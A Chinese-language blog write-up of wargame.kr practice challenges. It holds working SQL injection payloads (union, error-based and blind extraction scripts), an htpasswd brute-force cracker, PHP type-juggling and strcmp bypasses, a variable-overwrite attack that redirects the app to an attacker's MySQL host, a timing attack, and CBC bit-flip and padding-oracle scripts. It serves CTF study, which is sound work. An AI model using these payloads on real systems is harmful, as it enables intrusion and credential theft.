wargame.kr 题目writeup

adm1nkyj

链接: http://wargame.kr:8080/adm1nkyj/ 这题id和pw参数存在注入,关键在于不知道表的列名,如何绕过得到其中的pw和flag数据?

1
2
3
4
if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");

mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';")

上面就是关键防护代码。查了许久,得到一个精妙的答案。用sql语句的子查询,完成了攻击:

1
http://wargame.kr:8080/adm1nkyj/?id=' union all select 1,b,3,4,5 from (select 1,2,3 as b,4,5 union all select * from findflag_2 limit 1,1) as x -- &pw=123&flag=

可以顺利注入得到id,pw,flag三个字段的准确值,最后得到flag。学习到了子查询的用法。

counting_query

链接: http://wargame.kr:8080/counting_query 报错注入:

1
id=59.172.176.132&pw=12345&type=2 union all select 1,2,3,4,5 from login_count where 1=(updatexml(1,concat(0x5e24,(select database() limit 1),0x5e24),1))

由于是存在临时表的:

1
create temporary table t_user as select * from all_user_accounts where user_id='$id'"

经过测试,无法在一条sql语句中使用两次t_user临时表。接下来就不知道如何做下去了~~

dbms335

链接: http://wargame.kr:8080/dmbs335/

1
parse_str($_SERVER['QUERY_STRING']); //变量覆盖漏洞

覆盖 $query_parts 即可注入。

htpasswd_crack

链接: http://wargame.kr:8080/crack\_crack\_crack_it/ 爆破一下linux下的密码,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
import crypt, getpass, pwd

prefix = "G4HeulB"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
#blueh4g:$1$AIAjvuTS$Xm0KzXkKsxx4vDC6BXcCg1
reslut = "blueh4g:$1$AIAjvuTS$Xm0KzXkKsxx4vDC6BXcCg1"

def crack(deep,pw):
if deep == 0:
return;
for c in chars:
crack(deep-1,pw + c)

passwd = prefix + pw + c
print passwd
crypted = crypt.crypt(passwd, '$1$AIAjvuTS$')
print crypted
if crypted == "$1$AIAjvuTS$Xm0KzXkKsxx4vDC6BXcCg1" :
print "success"
exit()
if __name__ == '__main__':
crack(4,"")

由于不知道后面有几位数字,写了个递归进行爆破,感觉不错~~

ip-log-table

链接: http://wargame.kr:8080/ip\_log\_table/ 这是一个盲注题目,注入点在:

1
http://wargame.kr:8080/ip_log_table/chk.php  idx参数

简单写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
from requests.auth import HTTPBasicAuth
import sys

session = requests.Session()

def test(input):
idx = "15096 and " + input
#username = "username=admi'|if(1,'n','777')|'"
post_data = {'idx':idx}
#print post_data
headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
response = session.post("http://wargame.kr:8080/ip_log_table/chk.php", headers=headers, data=post_data)
#print response.text

#bs = BeautifulSoup(response.text.replace("</br />",""))
#form_section = bs.findAll('div', {"class": "alert alert-danger"}) #Error message
#t = form_section[0]
return ("2016-06-21 18:56:15" in response.text)

def brute_force_expr(expr):
ch_i=1
ascii_i=40 #(
word = ""
while True:
found_char=False
while(ascii_i<160): #~
res = test("ascii(substring(("+expr+"),"+str(ch_i)+",1))="+str(ascii_i))
if(res):
word += chr(ascii_i)
print "Found (",ch_i,") ",chr(ascii_i)," - ",word
found_char = True
break
ascii_i+=1

if(not found_char):
print "No char at index ",ch_i," .. ending string construction.."
break

ascii_i = 1
ch_i+=1
return word

print brute_force_expr(sys.argv[1]) #Replacement fix the spaces problem!

jff3_magic

链接: http://wargame.kr:8080/jff3_magic/ 这题还是挺有意思的。

  • 首先需要去掉js部分的弹框代码。这个用burp可以做到。

  • 然后是一个like注入得到password,用到0b二进制模式绕过waf。值得学习~~

脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import urllib
import urllib2
import binascii
import requests

url = "http://wargame.kr:8080/jff3_magic/?no="
str_list = "abcdefghijklmnopqrstuvwxyz0123456789"
pw = ""

def send_payload(payload):
global url
resp = requests.get(url + payload)
return resp.text


for i in range(32):
for ch in str_list:
payload = "-1||pw like "+str(bin(int(binascii.hexlify(pw + ch + "%"),16))) # 0b bypass waf

if "admin" in send_payload(payload):
print "[+] True"
pw += ch
print pw
break;
#else:
#print "[-] False"

print pw #Haval128,5 0e531247968804642688052356464312
  • 最后还用到了php magic的技巧

直接查询0e531247968804642688052356464312破解不出来,但是找到php magic

1
2
115528287  0e495317064156922585933029613272
var_dump('0e495317064156922585933029613272'=='0e531247968804642688052356464312'); bool(true)

详情参考: https://www.whitehatsec.com/blog/magic-hashes/

login_filtering

链接: http://wargame.kr:8080/login_filtering

  • 方法一:

XDCTF2014有这道题目:
https://www.leavesongs.com/PENETRATION/Mini-XCTF-Writeup.html 写代码fuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php  

/*
create table user(
idx int auto_increment primary key,
id char(32),
ps char(32)
);
*/


mysql_connect("localhost","root","");
mysql_select_db ("test");
mysql_query("set names utf8");

//$id = mysql_real_escape_string(trim($_POST['id']));
$ps = "blueh4g1234ps";
for($i = 0 ; $i < 256 ; $i++){
$c = chr($i);
$id = "blueh4g".$c;
$row=mysql_fetch_array(mysql_query("select * from user where id='$id' and ps=md5('$ps')"));

if(isset($row['id']))
{
if($id=='blueh4g')
{
//echo "your account is blocked";
}
else
{
echo $i . $c . ":" . $id . "<br />";
echo "login ok"."<br />";
echo "Password : ".$key;
}
}
else
{
//echo "wrong..";
}
}

?>

得到许多结果,其中一个:

1
2
194:guest?
login ok
  • 方法2:

后来发现,由于Mysql是不区分大小写的,所以可以用大写直接绕过~~

1
2
Blueh4g
blueh4g1234ps

login-with-crypto

链接: http://wargame.kr:8080/login\_with\_crypto_but/ 关键在于绕过这里:

1
2
3
4
5
6
7
8
9
10
11
function get_password($user,$ssn){
db_conn();
$user = mysql_real_escape_string($user);
$ssn = mysql_real_escape_string($ssn);
$result = mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
$row = mysql_fetch_array($result);
if ($row === false) {
die("there is not valid account!");
}
return $row[0];
}
  • 输入超长字符串让mysql_query执行结果出错,返回false。

  • 然后mysql_fetch_array($result);会同样会出错,提示:

    <b>Warning</b>:  mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>/home/www/login_with_crypto_but/index.php</b> on line <b>53</b><br />

因此,这里的$row就是NULL了,可以绕过$row === false。 这题又让我学到了新知识:超长字符串~

1
2
3
4
5
6
7
import requests

url = "http://wargame.kr:8080/login_with_crypto_but/index.php"

post_data = {"user":"admin","pass":"","ssn":"A"*70000}
resp = requests.post(url,post_data)
print resp.text

lonely_guys

链接: http://wargame.kr:8080/lonely_guys/ order by后面的盲注,同样的盲注脚本,关键如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def test(input):
sort_rule = ",if(" + input + ",name,reg_date)" #根据结果决定排序方法
#username = "username=admi'|if(1,'n','777')|'"
post_data = {'sort':sort_rule}
#print post_data

headers = {"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.5",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Connection": "keep-alive"}
response = session.post("http://wargame.kr:8080/lonely_guys/index.php", headers=headers,data=post_data)
#print response.text

#bs = BeautifulSoup(response.text.replace("</br />",""))
#form_section = bs.findAll('div', {"class": "alert alert-danger"}) #Error message
#t = form_section[0]
return ("<tr><td>michael</td><td>couple</td></tr><tr><td>min-su</td><td>couple</td></tr>" in response.text)

md5_compare

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

以上结果都为:bool(true)


http://zone.wooyun.org/content/20172

md5_password

md5($ps,true) 有时会产生单引号。

1
2
3
4
5
http://dc406.com/home/393-sql-injection-with-raw-md5-hashes.html
输入文中fuzz的结果: 129581926211651571912466741651878684928

hello admin!
Password : 96756acef13354c76bca3f9c331b82b00a983be6

mini_TBR

这个题目很经典。由一个变量覆盖漏洞,可以覆盖mysql数据库的ip,用户名和密码配置。在0ctf_2015上也有一道这样的题目。

  • 思路:

有变量覆盖漏洞;
覆盖db的设置,使其访问云主机数据库即可~~

  • 建立云主机数据库

建立一个管理员账户,使主机上的mysql可以远程登录:

1
2
3
4
5
6
mysql> CREATE USER 'monty'@'localhost' IDENTIFIED BY 'some_pass';
mysql> GRANT ALL PRIVILEGES ON *.* TO 'monty'@'localhost'
-> WITH GRANT OPTION;
mysql> CREATE USER 'monty'@'%' IDENTIFIED BY 'some_pass';
mysql> GRANT ALL PRIVILEGES ON *.* TO 'monty'@'%'
-> WITH GRANT OPTION;

建立一个题目要求的数据库和内容即可。

  • 漏洞点

index.php中变量覆盖漏洞:

1
if (!ini_get("register_globals")) extract($_GET);//变量覆盖

function.php中获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function get_layout($layout, $pos){
$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
$row = mysql_fetch_array($result);
$allow_list = ["./book_store_skin/head.html", "./book_store_skin/foot.html", "./reverted/h.htm", "./reverted/f.htm"];

if (isset($row['path'])){
if ($row['path'] == "hacked") {//mysql数据中构造这个值。
var_dump("success");
include("../lib.php");
die(auth_code("mini TBR"));
}
if (in_array($row['path'], $allow_list)) {
return $row['path'];
}
}

if ($pos == 'head'){
return "./reverted/h.htm";
}
return "./reverted/f.htm";
}

- 访问获得flag 访问mysql云主机得到flag:

1
http://wargame.kr:8080/mini_TBR/?_BHVAR[db][host]=***&_BHVAR[db][user]=***&_BHVAR[db][pass]=***&_BHVAR[db][name]=mini_tbr&_BHVAR[path_module]=./modules/

php-or-c

链接: http://wargame.kr:8080/php_c/ 整数溢出问题。本地可以测试下:

1
2
./p7 2147483645
-2147483646

32位int整数,最大值为2^31-1=2147483647 。 加5就溢出,产生负数了。 Payload:

1
d1=2147483643&d2=-2147483648

pw_crack

链接: http://wargame.kr:8080/pw_crack/ 基于时间的编程题,这题还是要拼人品的。flag过段时间就会变~~ 需要一个客户端发送请求,然后一个端口接收来自服务器的连接,并发送password。根据请求时间判断flag对不对。(类似于基于时间的盲注) req.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python
import socket
import commands
import requests
import time

HOST = 'yourhost'
PORT = yourport
chars = "abcdef0123456789"

session = requests.Session()
loginUrl = "http://wargame.kr/user/login_action"
post_data = {'email':'***','password':'***'} #登录
resp1 = session.post(loginUrl,data=post_data)
print resp1.text

def req(tt,i):
global session
url = "http://wargame.kr:8080/pw_crack/check.php"
try:
resp = session.get(url,timeout=tt)
if (i == 39) and ("congratulation" in resp.text):
return True
except Exception,e:
return True
return False
def con(pwd):
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.sendall("setdata" + pwd) #送给自己主机的端口,告诉他发送什么密码

s.close()

def go():
global session
pw = ""
for i in range(40):
for ch in chars:
print str(i) + ch
con(pw + ch)
time.sleep(0.1)
if req((i+2)*2,i):
pw = pw + ch
print str(i) + ":" + pw
if i == 39:
authUrl = "http://wargame.kr/challenge/auth/18"
flag_data = {'flag':pw}
resp = session.post(authUrl,data=flag_data)
print flag_data
print resp.text
break

if __name__ == '__main__':
go()

sock.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import socket
import commands
HOST = '0.0.0.0'
PORT = youtport

def con():
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((HOST,PORT))
s.listen(1)
pw_ret = ""
while True:
conn,addr=s.accept()
print'Connected by',addr

data=conn.recv(1024)
print "recv data:" + data
if data.startswith("setdata"):
pw_ret = data[7:]
print "set pw_ret:" + pw_ret
else:
print "send pw:" + pw_ret
conn.sendall(pw_ret + chr(0))

conn.close()

if __name__ == "__main__":
con()

写个shell去启动两个脚本:

1
2
nohup python -u sock.py >sock.py.out 2>&1 & 
nohup python -u req.py >req.py.out 2>&1 &

python -u 让python不启用缓冲,才能让日志信息实时输出。

strcmp

链接: http://wargame.kr:8080/strcmp/ 用数组绕过strcmp比较函数。

1
2
3
4
5
6
7
password[]=12

strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

NULL == 0 返回是true

dun-worry-about-the-vase

链接: http://wargame.kr:8080/dun\_worry\_about\_the\_vase/

CBC翻转

padding Oracle 漏洞,具体看《白帽子讲web安全》加密解密章节,这里只是使用CBC翻转攻击实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
iv = base64.b64decode("cWmnN3EEveo=")
plain = "guest" + "\x03\x03\x03" #\x03 是padding
cipher = base64.b64decode("Ong/jFLSexo=")

intermediary_value = ""

dest_plain = "admin" + "\x03\x03\x03"
dest_iv = ""

for i in range(8):
intermediary_value = intermediary_value + chr(ord(plain[i]) ^ ord(iv[i]))

for i in range(8):
dest_iv = dest_iv + chr(ord(dest_plain[i]) ^ ord(intermediary_value[i]))

print base64.b64encode(dest_iv)

dest_iv_method_2 = ""
for i in range(8):
dest_iv_method_2 = dest_iv_method_2 + chr(ord(dest_plain[i]) ^ ord(plain[i]) ^ ord(iv[i]))

print base64.b64encode(dest_iv_method_2)

Padding Oracle

更新一下这个解法~ 最近遇到了,发现很重要~ 原理大概是:改变iv,如果解密错误(padding值不对),会有padding error的报错。这是一种边信道攻击手法。 关键:

  • 算出immediate_value
  • 有错误时,需要把返回内容打出来进行判断。例如,这道题目:遇到了invalid iv这种错误,是我没有url编码cookie导致的,以至于没有正确算出immediate_value

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: utf-8 -*-
__author__ = 'angelwhu'

import base64
import requests
import urllib

iv = base64.b64decode("IDCq+/MbRP0=") # iv length is 8
cipher = base64.b64decode("EzDYjiFgH1Q=") # cipher length is 8
block_size = 8

immediate_value = [ -1 for i in range(block_size)]

session = requests.session()
session.cookies['ci_session']='******'

immediate_value = [-1, -1, 207, 136, 135, 24, 71, 254] #出错后,重新开始开始。
ajust_round = 6 #出错后,从新的round开始,初始为0
ajust_tempiv = 0 #出错后,设置新的处理tempiv。原来是0 如果立即数在0-8之间,会误认为是padding而出错。

for round in range(ajust_round,block_size):
temp_iv =""
for j in range(block_size-round,block_size):
temp_iv = temp_iv + chr(immediate_value[j]^(round+1))

res = -1
for i in range(0xff):
#temp = chr(0)*(block_size-1-round) + chr(i) + temp_iv
temp = chr(ajust_tempiv)*(block_size-1-round) + chr(i) + temp_iv
#print temp
session.cookies['L0g1n'] = urllib.quote(base64.b64encode(temp)+base64.b64encode(cipher))
print i
response = session.get('http://wargame.kr:8080/dun_worry_about_the_vase/main.php')
#print session.cookies
if 'padding error' in response.text:
#print "666"
#print response.text
None
else:
res = i
print i
print "666"
break
if res == -1:
#print session.cookies
print round
print immediate_value
print "dddderrrrrrrrrrrrrrrrrrr"
exit()
else:
#print session.cookies
print response.text
print res
immediate_value[block_size-1-round ] = res ^ (1+round)
print immediate_value

immediate_value = [71, 69, 207, 136, 135, 24, 71, 254]

plain = ""
for i in range(block_size):
plain = plain + chr(ord(iv[i])^immediate_value[i])
print plain

target_plain = "admin" + "\x03"*3
target_iv = ""
for i in range(block_size):
target_iv = target_iv + chr(ord(target_plain[i])^immediate_value[i])
print base64.b64encode(target_iv)

总结

wargame里面题目大多不难,能学到许多知识。选取部分,记录一下~ 做题目,最重要的是长长知识吧

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/10/20/wargamekr-title-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog